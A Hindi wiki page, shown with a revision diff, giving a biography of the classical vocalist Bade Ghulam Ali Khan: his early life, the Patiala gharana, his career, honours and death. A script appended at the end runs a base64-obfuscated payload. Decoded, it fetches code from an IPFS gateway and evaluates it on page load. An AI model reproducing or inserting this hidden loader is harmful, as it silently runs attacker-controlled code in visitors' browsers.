बड़े ग़ुलाम अली ख़ाँ: Difference between revisions

भारत डिस्कवरी प्रस्तुति
Jump to navigation Jump to search
[unchecked revision][unchecked revision]
m (Text replace - "बाग " to "बाग़ ")
No edit summary
Line 26: Line 26:
*[http://www.bbc.co.uk/hindi/regionalnews/story/2007/03/070303_ekmulakat_gulamali.shtml एक मुलाक़ात: ग़ुलाम अली के साथ]
*[http://www.bbc.co.uk/hindi/regionalnews/story/2007/03/070303_ekmulakat_gulamali.shtml एक मुलाक़ात: ग़ुलाम अली के साथ]
*[http://thumri.blogspot.com/2010/04/blog-post_6452.html बड़े गु़लाम अली ख़ान पर एक वीडियो]
*[http://thumri.blogspot.com/2010/04/blog-post_6452.html बड़े गु़लाम अली ख़ान पर एक वीडियो]
==संबंधित लेख==
{{शास्त्रीय गायक कलाकार}}
[[Category:पद्म भूषण]]
[[Category:पद्म भूषण]]
[[Category:शास्त्रीय गायक कलाकार]]
[[Category:शास्त्रीय गायक कलाकार]]

Revision as of 09:41, 28 December 2010

उस्ताद बड़े ग़ुलाम अली ख़ाँ साहब
thumb|उस्ताद बड़े ग़ुलाम अली ख़ाँ

  • बड़े ग़ुलाम अली ख़ाँ साहब (2 अप्रॅल, 1902 - 25 अप्रैल, 1968) की गणना भारत के महानतम गायकों व संगीतज्ञों में की जाती है। वे विलक्षण मधुर स्वर के स्वामी थे। इनके गायन को सुनकर श्रोता अपनी सुध-बुध खोकर कुछ समय के लिए स्वयं को खो देते थे। भारत के कोने-कोने से संगीत के पारखी लोग ख़ाँ साहब को गायन के लिए न्यौता भेजते थे। क्या राजघराने क्या मामूली स्कूल के विद्यार्थी, ख़ाँ साहब की मखमली आवाज़ सभी को मंत्रमुग्ध कर देती थी।[1]
  • दिल को छू जाने वाली आवाज़ के मालिक उस्ताद बड़े ग़ुलाम अली ख़ाँ ने नवेली शैली के ज़रिए ठुमरी को नई आब और ताब दी। जानकारों के मुताबिक उस्ताद ने अपने प्रयोगधर्मी संगीत की बदौलत ठुमरी को जानी-पहचानी शैली की सीमाओं से बाहर निकाला।[2]

जीवन परिचय

  • बड़े ग़ुलाम अली ख़ाँ साहब का जन्म 2 अप्रॅल, 1902 को पाकिस्तानी पंजाब के मशहूर शहर लाहौर के पास स्थित गाँव केसुर में हुआ था।[3] बड़े ग़ुलाम अली ख़ाँ ने मानसिक, शारीरिक और आध्यात्मिक शक्ति संगीत से ही प्राप्त की थी और यही कारण था कि उनके बोलचाल और हावभाव से यह जाहिर हो जाता था कि यह शख्सियत संगीत के प्रचार-प्रसार के लिए धरती पर अवतरित हुई है।[3] इनका परिवार संगीतज्ञों का परिवार था। इनके पिताजी का नाम अली बख्श ख़ाँ है। दिलचस्प है कि संगीत की दुनिया में उनकी शुरूआत सारंगी वादक के रूप में हुई। उन्होंने अपने पिता अली बख्श ख़ाँ और चाचा काले ख़ाँ से संगीत की बारीकियां सीखीं। इनके पिता महाराजा कश्मीर के दरबारी गायक थे और वह घराना "कश्मीरी घराना" कहलाता था। जब ये लोग पटियाला जाकर रहने लगे तो यह घराना "पटियाला घराना" के नाम से जाना जाने लगा। दिखने में बेहद कड़क मिजाज़ और मज़बूत डील-डौल वाले बड़े ग़ुलाम अली ने सबरंग नाम से कई बंदिशें रचीं। उनकी सरगम का अंदाज़ बिल्कुल निराला था। साल 1947 में भारत के विभाजन के बाद बड़े ग़ुलाम अली ख़ाँ पाकिस्तान चले गए थे लेकिन संगीत के इस उपासक को पाकिस्तान का माहौल कतई पसंद नहीं आया। नतीजतन वह जल्द ही भारत लौट आए। [2]

कॅरियर

thumb|130px|ख़ाँ साहब के सम्मान में जारी डाक टिकट भारतीय संगीत के फलक पर 1930 के दशक में सितारे की तरह चमके इस गायक ने साल 1938 में तत्कालीन कलकत्ता में हुए एक कार्यक्रम में दुनिया के सामने पहली बार अपनी आवाज़ का जादू बिखेरा था। उसके बाद वह संगीत को आगे बढ़ाने और उसे समृद्ध करने की मुहिम में रम गए। ख़ाँ साहब किंवदंती गायक थे। गायन से ऐसा मोहजाल बुनते कि आपको उसमें उलझना ही है। मुगले आजम फिल्म में गाने के लिए उन्होंने एक गाने के 25 हजार रुपए माँग लिए थे क्योंकि वे फ़िल्म में गाना नहीं चाहते थे। निर्देशक के. आसिफ ने 25 हजार रुपए देना स्वीकार कर लिया जबकि उस जमाने में लता मंगेशकर और मो. रफी को एक गाने के पाँच सौ रुपए से भी कम मिलते थे।[3]

सम्मान

ख़ाँ साहब को भारत सरकार के पद्म भूषण और संगीत नाटक अकादमी सम्मान से भी नवाज़ा गया है।

मृत्यु

हैदराबाद के नवाब जहीरयारजंग के बशीरबाग़ महल में चाँदनी और रेशम की शोभा वाली उस्ताद बड़े ग़ुलाम अली ख़ाँ की आवाज 25 अप्रैल, 1968 को सो गई और बीते युग के पटियाला घराने का एक सुरीला एपिसोड समाप्त हो गया।[3]


पन्ने की प्रगति अवस्था
आधार
प्रारम्भिक
माध्यमिक
पूर्णता
शोध

टीका टिप्पणी और संदर्भ

  1. हिन्दी ज़ेन (हिन्दी) (एच.टी.एम.एल)। । अभिगमन तिथि: 12 अक्टूबर, 2010
  2. 2.0 2.1 लाइव हिन्दुस्तान (हिन्दी) (एच.टी.एम.एल)। । अभिगमन तिथि: 12 अक्टूबर, 2010
  3. 3.0 3.1 3.2 3.3 ओझा, स्वतंत्रकुमार। वेब दुनिया (हिन्दी) (एच.टी.एम.एल)। । अभिगमन तिथि: 12 अक्टूबर, 2010

बाहरी कड़ियाँ

संबंधित लेख

<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>